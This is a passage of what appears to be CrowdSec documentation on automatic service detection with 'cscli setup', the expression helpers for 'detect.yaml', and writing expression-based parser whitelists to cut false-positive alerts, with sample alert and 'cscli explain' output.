/path/to/detect.yaml # Or via environment variable CROWDSEC_SETUP_DETECT_CONFIG=/path/to/detect.yaml cscli setup detect ``` Helpful flags: * `--yaml` โ€“ render the setup plan as YAML (easy to review/edit); default output is JSON. * `--force ` โ€“ pretend detection matched for `` (repeatable). * `--ignore ` โ€“ drop `` from the plan even if matched (repeatable). * `--skip-systemd` โ€“ disable systemdโ€based detection (default if systemctl can't be run). * `--list-supported-services` โ€“ print the service keys present in your file and exit. You can see a list of all the available expr helpers in the [dedicated documentation](https://docs.crowdsec.net/docs/next/log_processor/service-discovery-setup/setup-expr-helpers.md). For example, if you have configured nginx to log in a non-standard location, you can use a custom `detect.yaml` to override it. This example will generate an acquisition with the pattern `/srv/logs/nginx/*.log` if the nginx service is installed OR if any file matches the glob pattern `/srv/logs/nginx/*.log`: YAMLCOPY ``` # detect.yaml --- detect: nginx-custom: when: - Systemd.UnitInstalled("nginx.service") or len(Path.Glob("/srv/logs/nginx/*.log")) > 0 hub_spec: collections: - crowdsecurity/nginx acquisition_spec: filename: nginx.yaml datasource: source: file filenames: - /srv/logs/nginx/*.log labels: type: nginx ``` warning When using a custom detect configuration, the default one will be fully ignored. This means that on top of your custom detection, you will most likely want to add the basic OS detection, for example: YAMLCOPY ``` detect: linux: when: - Host.OS == "linux" hub_spec: collections: - crowdsecurity/linux acquisition_spec: filename: linux.yaml datasource: source: file labels: type: syslog filenames: - /var/log/messages - /var/log/syslog - /var/log/kern.log ``` ### Unattended installs with a custom detect file[โ€‹](#unattended-installs-with-a-custom-detect-file "Direct link to Unattended installs with a custom detect file") Linux packages (deb or rpm) will automatically call `cscli setup unattended` during installation. You can specify a custom detection file to use by setting `CROWDSEC_SETUP_DETECT_CONFIG` before installing the package with `apt` or `dnf`. Alternatively, if you want to skip the automatic detection completely, you can set the env var `CROWDSEC_SETUP_UNATTENDED_DISABLE` to any value. ### End-to-end workflow[โ€‹](#end-to-end-workflow "Direct link to End-to-end workflow") Behind the scenes, `cscli setup` use multiple steps to configure crowdsec: * Generate a YAML plan that contains the detected services, their associated hub items and acquisition configuration * Validate this file * Install the hub items * Write the acquisition config to disk If you wish, you can manually invoke any of those steps (if you only want to install the hub items for example). `cscli setup detect` can be used to generate the setup file: SHCOPY ``` cscli setup detect --detect-config ./detect.yaml --yaml > setup.yaml ``` You can then validate its content for syntax error or issues with the acquisition configuration: SHCOPY ``` cscli setup validate ./setup.yaml ``` Then, install the hub items: SHCOPY ``` cscli setup install-hub ./setup.yaml ``` And finally, write the acquisition config: SHCOPY ``` cscli setup install-acquisition ./setup.yaml --acquis-dir /etc/crowdsec/acquis.d ``` --- # Expression Helpers Reference Various helpers are available for use in the `detect.yaml` file to determine how crowdsec should be configured. ## Host[โ€‹](#host "Direct link to Host") This object gives access to various information about the current state of the operating system ### `Host.Hostname`[โ€‹](#hosthostname "Direct link to hosthostname") ย ย ย ย Returns the hostname of the machine > `Host.Hostname == "mymachine"` ### `Host.Uptime`[โ€‹](#hostuptime "Direct link to hostuptime") ย ย ย ย Returns the uptime of the machine in seconds. ### `Host.Boottime`[โ€‹](#hostboottime "Direct link to hostboottime") ย ย ย ย Returns the unix timestamp of the time the machine booted. ### `Host.Procs`[โ€‹](#hostprocs "Direct link to hostprocs") ย ย ย ย Returns the number of processes on the machine. ### `Host.OS`[โ€‹](#hostos "Direct link to hostos") ย ย ย ย Returns the name of the OS (`linux`, `freebsd`, `windows`, ...) > `Host.OS == "linux"` ### `Host.Platform`[โ€‹](#hostplatform "Direct link to hostplatform") ย ย ย ย Returns the variant of the OS (`ubuntu`, `linuxmint`, ....) > `Host.Platform == "ubuntu"` ### `Host.PlatformFamily`[โ€‹](#hostplatformfamily "Direct link to hostplatformfamily") ย ย ย ย Returns the family of the OS (`debian`, `rhel`, ...) > `Host.PlatformFamily == "debian"` ### `Host.PlatformVersion`[โ€‹](#hostplatformversion "Direct link to hostplatformversion") ย ย ย ย Returns the version of the OS or distribution (for linux, /etc/os-release) > \`Host.PlatformVersion == "25.04" ### `Host.KernelVersion`[โ€‹](#hostkernelversion "Direct link to hostkernelversion") ย ย ย ย Returns the current kernel version as returned by `uname -r` > \`Host.KernelVersion == "6.16.2" ### `Host.KernelArch`[โ€‹](#hostkernelarch "Direct link to hostkernelarch") ย ย ย ย Returns the native architecture of the system (`x86_64`, ...) > `Host.KernelArch == "x86_64"` ### `Host.VirtualizationSystem`[โ€‹](#hostvirtualizationsystem "Direct link to hostvirtualizationsystem") ย ย ย ย Returns the name of the virtualization system in use if any. > `Host.VirtualizationSystem == "kvm"` ### `Host.VirtualizationRole`[โ€‹](#hostvirtualizationrole "Direct link to hostvirtualizationrole") ย ย ย ย Returns the virtualization role of the system if any (`guest`, `host`) > `Host.VirtualizationRole == "host"` ### `Host.HostID`[โ€‹](#hosthostid "Direct link to hosthostid") ย ย ย ย Returns a unique ID specific to the system. ## Path[โ€‹](#path "Direct link to Path") This object exposes helpers functions for the filesystem ### `Exists(path) bool`[โ€‹](#existspath-bool "Direct link to existspath-bool") ย ย ย ย Returns `true` if the specified path exists. > `Path.Exists("/var/log/nginx/access.log") == true` ### `Glob(pattern) []string`[โ€‹](#globpattern-string "Direct link to globpattern-string") ย ย ย ย Returns a list of files matching the provided pattern. ย ย ย ย Returns an empty list if the glob pattern is invalid > `len(Path.Glob("/var/log/nginx/*.log")) > 0` ## System[โ€‹](#system "Direct link to System") ### `ProcessRunning(name) bool`[โ€‹](#processrunningname-bool "Direct link to processrunningname-bool") ย ย ย ย Returns `true` if there's any process with the specified name running > `System.ProcessRunning("nginx") == true` ## Systemd[โ€‹](#systemd "Direct link to Systemd") ย ย ย ย This object exposes helpers to get informations about Systemd units. ย ย ย ย Only available on Linux. ### `UnitInstalled(unitName) bool`[โ€‹](#unitinstalledunitname-bool "Direct link to unitinstalledunitname-bool") ย ย ย ย Returns `true` if the provided unit is installed. > `Systemd.UnitInstalled("nginx") == true` ### `UnitConfig(unitName, key) string`[โ€‹](#unitconfigunitname-key-string "Direct link to unitconfigunitname-key-string") ย ย ย ย Returns the value of the specified key from the specified unit. ย ย ย ย Returns an empty value if the unit if not installed and an error if the key does not exist. > `Systemd.UnitConfig("nginx", "StandardOutput") == "journal"` ### `UnitLogsToJournal(unitName) bool`[โ€‹](#unitlogstojournalunitname-bool "Direct link to unitlogstojournalunitname-bool") ย ย ย ย Returns `true` if unit stdout/stderr are redirect to journal or journal+console. > `Systemd.UnitLogsToJournal("nginx") == true` ## Windows[โ€‹](#windows "Direct link to Windows") ย ย ย ย This object exposes helpers to get informations about Windows services. ย ย ย ย Only available on Windows. ### `ServiceEnabled(serviceName) bool`[โ€‹](#serviceenabledservicename-bool "Direct link to serviceenabledservicename-bool") ย ย ย ย Returns `true` if the specified service exists and is configured to start automatically on boot. > `Windows.ServiceEnabled("MSSSQLSERVER") == true` ## Version[โ€‹](#version "Direct link to Version") ### `Check(version, constraint) bool`[โ€‹](#checkversion-constraint-bool "Direct link to checkversion-constraint-bool") ย ย ย ย Performs a semantic version check. ย ย ย ย Constraint supports operators like `=`, `!=`, `<`, `<=`, `>`, `>=`, ranges (1.1.1 - 1.3.4), AND with commas (`>1`, `<3`), and \~ compatible ranges. > `Version.Check(Host.KernelVersion, ">=6.24.0")` --- # CAPI warning This option is deprecated. You should use [centralized allowlists](https://docs.crowdsec.net/docs/next/local_api/centralized_allowlists.md) instead. ## Whitelists from CAPI (Central API) community blocklist or third party blocklist[โ€‹](#whitelists-from-capi-central-api-community-blocklist-or-third-party-blocklist "Direct link to Whitelists from CAPI (Central API) community blocklist or third party blocklist") From version 1.5.0, you can define IPs or IP ranges to whitelist from the community blocklist or third-party blocklists. Set the whitelist file path in `config.yaml` (no default path is set). YAMLCOPY ``` api: server: capi_whitelists_path: ``` Recommended file paths: * Linux `/etc/crowdsec/capi-whitelists.yaml` * Freebsd `/usr/local/etc/crowdsec/capi-whitelists.yaml` * Windows `c:/programdata/crowdsec/config/capi-whitelists.yaml` *These files **DO NOT** exist by default. You **MUST** create them manually and set the path above.* Example file content: YAMLCOPY ``` ips: - 1.2.3.4 - 2.3.4.5 cidrs: - 1.2.3.0/24 ``` Reload CrowdSec SHReload CrowdSecCOPY ``` sudo systemctl reload crowdsec ``` warning The whitelist applies only when CrowdSec pulls blocklists from CAPI. IPs already in your local database are not retroactively whitelisted. You can either delete decisions for specific IPs with `cscli decisions delete`, or delete all alerts and active decisions with `cscli alerts delete --all` and then restart CrowdSec. --- # Expression Expression-based whitelists let you discard events during parsing using [expr](https://github.com/antonmedv/expr) expressions. This is the most flexible option for whitelisting patterns such as HTTP paths, user agents, status codes, or any mix of parsed fields. ## What this achieves[โ€‹](#what-this-achieves "Direct link to What this achieves") A **parser whitelist** (enrich stage) drops matching **log lines** before they reach scenarios, so they do not create buckets or alerts. This is usually the cleanest way to cut false positives and resource usage. info If you need to centrally allowlist **IP/CIDR across all components**, use **AllowLists** (available since CrowdSec `1.6.8`). For event-pattern exceptions (URI/user-agent/etc.), use parser whitelists. See [LAPI AllowLists](https://docs.crowdsec.net/docs/next/local_api/centralized_allowlists.md) for details. Because this uses data available at parse time, you can do it at the `Parsing Whitelist` level. See the [introduction](https://docs.crowdsec.net/docs/next/log_processor/whitelist/intro.md) for OS-specific paths. ## Workflow: From an alert to a parser whitelist[โ€‹](#workflow-from-an-alert-to-a-parser-whitelist "Direct link to Workflow: From an alert to a parser whitelist") There are two main ways to create an expression-based whitelist: 1. **Starting from an alert**: When you have a false positive alert and want to whitelist the pattern that triggered it 2. **Starting from a log line**: When you know the log line pattern you want to whitelist ### Path 1: Starting from an alert[โ€‹](#path-1-starting-from-an-alert "Direct link to Path 1: Starting from an alert") When you have a false-positive alert, inspect it to extract event details and build a whitelist. #### Step 1: Identify the alert and extract events[โ€‹](#step-1-identify-the-alert-and-extract-events "Direct link to Step 1: Identify the alert and extract events") 1. List recent alerts: SHCOPY ``` sudo cscli alerts list ``` 2. Inspect an alert with event details: SHCOPY ``` sudo cscli alerts inspect -d ``` The `-d/--details` flag shows events associated with the alert. From the output, note: * The **log type** (e.g., `nginx`, `apache2`, `sshd`, etc.) * Any helpful **meta** fields (http path, status, verb, user-agent, etc.) * The **source** you want to exempt (endpoint, health-check path, internal scanner, etc.) important In the **Events** section, each key maps to a field in `evt.Meta.*`. For example, `http_path` becomes `evt.Meta.http_path` in your whitelist expression. Example: Alert inspection output SHCOPY ``` $ cscli alerts inspect 176012 -d ################################################################################################ - ID : 176012 - Date : 2026-01-07T15:11:08Z - Machine : testMachine - Simulation : false - Remediation : true - Reason : crowdsecurity/http-crawl-non_statics - Events Count : 44 - Scope:Value : Ip:192.168.1.100 - Country : US - AS : EXAMPLE-AS-BLOCK - Begin : 2026-01-07T15:11:05Z - End : 2026-01-07T15:11:07Z - UUID : 0061339c-f070-4859-8f2a-66249c709d73 โ•ญโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ•ฎ โ”‚ Active Decisions โ”‚ โ”œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ค โ”‚ ID โ”‚ scope:value โ”‚ action โ”‚ expiration โ”‚ created_at โ”‚ โ”œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ค โ”‚ 905003939 โ”‚ Ip:192.168.1.100 โ”‚ ban โ”‚ 23h35m33s โ”‚ 2026-01-07T15:11:08Z โ”‚ โ•ฐโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ•ฏ - Context : โ•ญโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ•ฎ โ”‚ Key โ”‚ Value โ”‚ โ”œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ค โ”‚ method โ”‚ GET โ”‚ โ”‚ status โ”‚ 404 โ”‚ โ”‚ target_uri โ”‚ /lanz.php โ”‚ โ”‚ target_uri โ”‚ /xwpg.php โ”‚ โ”‚ target_uri โ”‚ /slsqc.php โ”‚ โ”‚ target_uri โ”‚ /fs8.php โ”‚ โ”‚ target_uri โ”‚ /flap.php โ”‚ โ”‚ target_uri โ”‚ /ws34.php โ”‚ โ”‚ user_agent โ”‚ - โ”‚ โ•ฐโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ•ฏ - Events : - Date: 2026-01-07 15:11:07 +0000 UTC โ•ญโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ•ฎ โ”‚ Key โ”‚ Value โ”‚ โ”œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ค โ”‚ ASNNumber โ”‚ 64512 โ”‚ โ”‚ ASNOrg โ”‚ EXAMPLE-AS-BLOCK โ”‚ โ”‚ IsInEU โ”‚ false โ”‚ โ”‚ IsoCode โ”‚ US โ”‚ โ”‚ SourceRange โ”‚ 192.168.0.0/16 โ”‚ โ”‚ datasource_path โ”‚ /var/log/nginx/access.log โ”‚ โ”‚ datasource_type โ”‚ file โ”‚ โ”‚ http_args_len โ”‚ 0 โ”‚ โ”‚ http_path โ”‚ /lanz.php โ”‚ โ”‚ http_status โ”‚ 404 โ”‚ โ”‚ http_user_agent โ”‚ - โ”‚ โ”‚ http_verb โ”‚ GET โ”‚ โ”‚ log_type โ”‚ http_access-log โ”‚ โ”‚ service โ”‚ http โ”‚ โ”‚ source_ip โ”‚ 192.168.1.100 โ”‚ โ”‚ target_fqdn โ”‚ example.com โ”‚ โ”‚ timestamp โ”‚ 2026-01-07T15:11:07Z โ”‚ โ•ฐโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ•ฏ - Date: 2026-01-07 15:11:07 +0000 UTC โ•ญโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ•ฎ โ”‚ Key โ”‚ Value โ”‚ โ”œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ค โ”‚ ASNNumber โ”‚ 64512 โ”‚ โ”‚ ASNOrg โ”‚ EXAMPLE-AS-BLOCK โ”‚ โ”‚ IsInEU โ”‚ false โ”‚ โ”‚ IsoCode โ”‚ US โ”‚ โ”‚ SourceRange โ”‚ 192.168.0.0/16 โ”‚ โ”‚ datasource_path โ”‚ /var/log/nginx/access.log โ”‚ โ”‚ datasource_type โ”‚ file โ”‚ โ”‚ http_args_len โ”‚ 0 โ”‚ โ”‚ http_path โ”‚ /xwpg.php โ”‚ โ”‚ http_status โ”‚ 404 โ”‚ โ”‚ http_user_agent โ”‚ - โ”‚ โ”‚ http_verb โ”‚ GET โ”‚ โ”‚ log_type โ”‚ http_access-log โ”‚ โ”‚ service โ”‚ http โ”‚ โ”‚ source_ip โ”‚ 192.168.1.100 โ”‚ โ”‚ target_fqdn โ”‚ example.com โ”‚ โ”‚ timestamp โ”‚ 2026-01-07T15:11:07Z โ”‚ โ•ฐโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ•ฏ ``` In this example, the events section lists keys such as `http_path`, `http_status`, `http_verb`, and `source_ip`. Those keys map to `evt.Meta.*` fields you can use in your whitelist expressions. For instance, `http_path` becomes `evt.Meta.http_path`. #### Step 2: Pick a representative log line[โ€‹](#step-2-pick-a-representative-log-line "Direct link to Step 2: Pick a representative log line") From the alert details, pick one triggering log line. You will use the raw line with `cscli explain` in the next step. #### Step 3: Use `cscli explain` to reveal parsed fields[โ€‹](#step-3-use-cscli-explain-to-reveal-parsed-fields "Direct link to step-3-use-cscli-explain-to-reveal-parsed-fields") To write a safe whitelist, use the exact field names and values available at parse/enrich time. Run `cscli explain` against the log line: SHCOPY ``` sudo cscli explain \ --log '' \ --type \ -v ``` `cscli explain -v` shows which parsers ran and what they populated in `evt.Parsed.*`, `evt.Meta.*`, and related fields. **What to look for** in the explain output: * The specific fields that uniquely identify the "good" traffic you want to ignore, for example: * `evt.Parsed.http_user_agent` * `evt.Meta.http_path` * `evt.Meta.http_verb` * `evt.Meta.http_status` * Anything stable that will not accidentally exempt real attacks ### Path 2: Starting from a log line[โ€‹](#path-2-starting-from-a-log-line "Direct link to Path 2: Starting from a log line") When you already know the log line pattern you want to whitelist (e.g., health check endpoints, monitoring tools), you can use `cscli explain` directly. #### Step 1: Use `cscli explain` to reveal parsed fields[โ€‹](#step-1-use-cscli-explain-to-reveal-parsed-fields "Direct link to step-1-use-cscli-explain-to-reveal-parsed-fields") Use [cscli explain](https://docs.crowdsec.net/docs/next/cscli/cscli_explain.md) on a log line or a log file. For example, with a single log line: SHCOPY ``` sudo cscli explain \ --log '5.5.8.5 - - [04/Jan/2020:07:25:02 +0000] "GET /.well-known/acme-challenge/FMuukC2JOJ5HKmLBujjE_BkDo HTTP/1.1" 404 522 "-" "MySecretUserAgent"' \ --type nginx \ -v ``` Or with a file: SHCOPY ``` sudo cscli explain --file /path/to/logfile --type nginx -v ``` Example output: SHCOPY ``` line: 5.5.8.5 - - [04/Jan/2020:07:25:02 +0000] "GET /.well-known/acme-challenge/FMuukC2JOJ5HKmLBujjE_BkDo HTTP/1.1" 404 522 "-" "MySecretUserAgent" โ”œ s00-raw | โ”œ ๐ŸŸข crowdsecurity/non-syslog (+5 ~8) | โ”œ update evt.ExpectMode : %!s(int=0) -> 1 | โ”œ update evt.Stage : -> s01-parse | โ”œ update evt.Line.Raw : -> 5.5.8.5 - - [04/Jan/2020:07:25:02 +0000] "GET /.well-known/acme-challenge/FMuukC2JOJ5HKmLBujjE_BkDo HTTP/1.1" 404 522 "-" "MySecretUserAgent" | โ”œ update evt.Line.Src : -> /tmp/cscli_explain156736029/cscli_test_tmp.log | โ”œ update evt.Line.Time : 0001-01-01 00:00:00 +0000 UTC -> 2023-07-21 14:05:09.67803335 +0000 UTC | โ”œ create evt.Line.Labels.type : nginx | โ”œ update evt.Line.Process : %!s(bool=false) -> true | โ”œ update evt.Line.Module : -> file | โ”œ create evt.Parsed.message : 5.5.8.5 - - [04/Jan/2020:07:25:02 +0000] "GET /.well-known/acme-challenge/FMuukC2JOJ5HKmLBujjE_BkDo HTTP/1.1" 404 522 "-" "MySecretUserAgent" | โ”œ create evt.Parsed.program : nginx | โ”œ update evt.Time : 0001-01-01 00:00:00 +0000 UTC -> 2023-07-21 14:05:09.678072613 +0000 UTC | โ”œ create evt.Meta.datasource_path : /tmp/cscli_explain156736029/cscli_test_tmp.log | โ”œ create evt.Meta.datasource_type : file โ”œ s01-parse | โ”œ ๐ŸŸข crowdsecurity/nginx-logs (+22 ~2) | โ”œ update evt.Stage : s01-parse -> s02-enrich | โ”œ create evt.Parsed.remote_addr : 5.5.8.5 | โ”œ create evt.Parsed.request_length : | โ”œ create evt.Parsed.verb : GET | โ”œ create evt.Parsed.http_user_agent : MySecretUserAgent | โ”œ create evt.Parsed.request : /.well-known/acme-challenge/FMuukC2JOJ5HKmLBujjE_BkDo | โ”œ create evt.Parsed.body_bytes_sent : 522 | โ”œ create evt.Parsed.remote_user : - | โ”œ create evt.Parsed.time_local : 04/Jan/2020:07:25:02 +0000 | โ”œ create evt.Parsed.http_referer : - | โ”œ create evt.Parsed.request_time : | โ”œ create evt.Parsed.proxy_alternative_upstream_name : | โ”œ create evt.Parsed.proxy_upstream_name : | โ”œ create evt.Parsed.status : 404 | โ”œ create evt.Parsed.target_fqdn : | โ”œ create evt.Parsed.http_version : 1.1 | โ”œ update evt.StrTime : -> 04/Jan/2020:07:25:02 +0000 | โ”œ create evt.Meta.http_status : 404 | โ”œ create evt.Meta.http_user_agent : MySecretUserAgent | โ”œ create evt.Meta.log_type : http_access-log | โ”œ create evt.Meta.service : http | โ”œ create evt.Meta.http_path : /.well-known/acme-challenge/FMuukC2JOJ5HKmLBujjE_BkDo | โ”œ create evt.Meta.http_verb : GET | โ”œ create evt.Meta.source_ip : 5.5.8.5 โ”œ s02-enrich | โ”œ ๐ŸŸข crowdsecurity/dateparse-enrich (+2 ~2) | โ”œ create evt.Enriched.MarshaledTime : 2020-01-04T07:25:02Z | โ”œ update evt.Time : 2023-07-21 14:05:09.678072613 +0000 UTC -> 2020-01-04 07:25:02 +0000 UTC | โ”œ update evt.MarshaledTime : -> 2020-01-04T07:25:02Z | โ”œ create evt.Meta.timestamp : 2020-01-04T07:25:02Z | โ”œ ๐ŸŸข crowdsecurity/geoip-enrich (+13) | โ”œ create evt.Enriched.ASNumber : 6805 | โ”œ create evt.Enriched.Latitude : 51.299300 | โ”œ create evt.Enriched.SourceRange : 5.4.0.0/14 | โ”œ create evt.Enriched.ASNOrg : Telefonica Germany | โ”œ create evt.Enriched.IsInEU : true | โ”œ create evt.Enriched.IsoCode : DE | โ”œ create evt.Enriched.Longitude : 9.491000 | โ”œ create evt.Enriched.ASNNumber : 6805 | โ”œ create evt.Meta.ASNOrg : Telefonica Germany | โ”œ create evt.Meta.IsInEU : true | โ”œ create evt.Meta.IsoCode : DE | โ”œ create evt.Meta.ASNNumber : 6805 | โ”œ create evt.Meta.SourceRange : 5.4.0.0/14 | โ”œ ๐ŸŸข crowdsecurity/http-logs (+7) | โ”œ create evt.Parsed.impact_completion : false | โ”œ create evt.Parsed.file_ext : | โ”œ create evt.Parsed.file_frag : FMuukC2JOJ5HKmLBujjE_BkDo | โ”œ create evt.Parsed.file_name : FMuukC2JOJ5HKmLBujjE_BkDo | โ”œ create evt.Parsed.static_ressource : false | โ”œ create evt.Parsed.file_dir : /.well-known/acme-challenge/ | โ”œ create evt.Meta.http_args_len : 0 | โ”” ๐ŸŸข my/whitelist (unchanged) โ”œ-------- parser success ๐ŸŸข โ”œ Scenarios โ”œ ๐ŸŸข crowdsecurity/http-crawl-non_statics โ”” ๐ŸŸข crowdsecurity/http-probing ``` This output shows what data is available from the `s01-parse` stage. Look for fields in `evt.Parsed.*` and `evt.Meta.*` that you can use in your whitelist expression. ## Create the parser whitelist file[โ€‹](#create-the-parser-whitelist-file "Direct link to Create the parser whitelist file") Once you have identified the fields you want to use, create a new YAML file in the appropriate directory. See the [introduction](https://docs.crowdsec.net/docs/next/log_processor/whitelist/intro.md) for OS-specific paths. For example: SHCOPY ``` sudo nano /etc/crowdsec/parsers/s02-enrich/zz-whitelist-myapp.yaml ``` ### Example 1: Whitelist by user-agent[โ€‹](#example-1-whitelist-by-user-agent "Direct link to Example 1: Whitelist by user-agent") YAMLCOPY ``` name: "myorg/whitelist-healthcheck-ua" description: "Ignore our synthetic checks user-agent" whitelist: reason: "synthetic monitoring" expression: - evt.Parsed.http_user_agent == 'MyHealthcheckBot/1.0' ``` ### Example 2: Whitelist a specific endpoint (health check)[โ€‹](#example-2-whitelist-a-specific-endpoint-health-check "Direct link to Example 2: Whitelist a specific endpoint (health check)") Use values you confirmed via `cscli explain`: YAMLCOPY ``` name: "myorg/whitelist-healthz" description: "Ignore health checks hitting /healthz" whitelist: reason: "health endpoint" expression: - evt.Meta.http_path == '/healthz' and evt.Meta.http_verb == 'GET' ``` tip Keep whitelist expressions as narrow as possible (path + verb + optional user-agent) to avoid hiding real attacks. ### Example 3: Whitelist by multiple conditions[โ€‹](#example-3-whitelist-by-multiple-conditions "Direct link to Example 3: Whitelist by multiple conditions") You can combine conditions: YAMLCOPY ``` name: "myorg/whitelist-acme-challenge" description: "Ignore ACME challenge requests" whitelist: reason: "legitimate certificate renewal" expression: - evt.Meta.http_path startsWith '/.well-known/acme-challenge/' and evt.Meta.http_verb == 'GET' ``` ### Example 4: Whitelist by status code and path[โ€‹](#example-4-whitelist-by-status-code-and-path "Direct link to Example 4: Whitelist by status code and path") YAMLCOPY ``` name: "myorg/whitelist-monitoring" description: "Ignore monitoring tool requests" whitelist: reason: "internal monitoring" expression: - evt.Meta.http_path == '/metrics' and evt.Meta.http_status == '200' ``` ### Real-world example: Nextcloud[โ€‹](#real-world-example-nextcloud "Direct link to Real-world example: Nextcloud") For a real-world example of expression-based whitelists, see the [Nextcloud whitelist example on the Hub](https://hub.crowdsec.net/author/crowdsecurity/configurations/nextcloud-whitelist), which shows how to whitelist common Nextcloud endpoints and patterns. ## Reload CrowdSec and validate[โ€‹](#reload-crowdsec-and-validate "Direct link to Reload CrowdSec and validate") Reload CrowdSec to apply the new parser whitelist: SHCOPY ``` sudo systemctl reload crowdsec ``` Then validate in two ways: 1. **Re-run `cscli explain`** on the same triggering line and confirm it is discarded/whitelisted. CrowdSec logs when lines are discarded because they match a whitelist. 2. **Confirm new decisions are no longer created** for the same pattern/IP: SHCOPY ``` sudo cscli decisions list --ip ``` ## Clean up any existing bans[โ€‹](#clean-up-any-existing-bans "Direct link to Clean up any existing bans") A whitelist prevents *future* triggers, but it does not remove decisions that already exist. If you need to remove an active decision immediately: SHCOPY ``` sudo cscli decisions delete -i ``` Or delete all decisions for a specific scenario: SHCOPY ``` sudo cscli decisions delete --scenario ``` ## Verify whitelist is working[โ€‹](#verify-whitelist-is-working "Direct link to Verify whitelist is working") You can verify that the whitelist is working by checking the CrowdSec logs: SHCOPY ``` tail -f /var/log/crowdsec.log ``` CrowdSec will log when lines are discarded because they match the whitelist expression. ## Finding available fields[โ€‹](#finding-available-fields "Direct link to Finding available fields") The key to creating effective expression whitelists is knowing which fields are available. Use `cscli explain -v` to see the fields available at each stage: * **`evt.Parsed.*`**: Fields extracted by parsers * **`evt.Meta.*`**: Metadata fields (often normalized versions of parsed fields) * **`evt.Enriched.*`**: Fields added by enrichment parsers (geoip, rdns, etc.) For more information about available fields, see the [expr 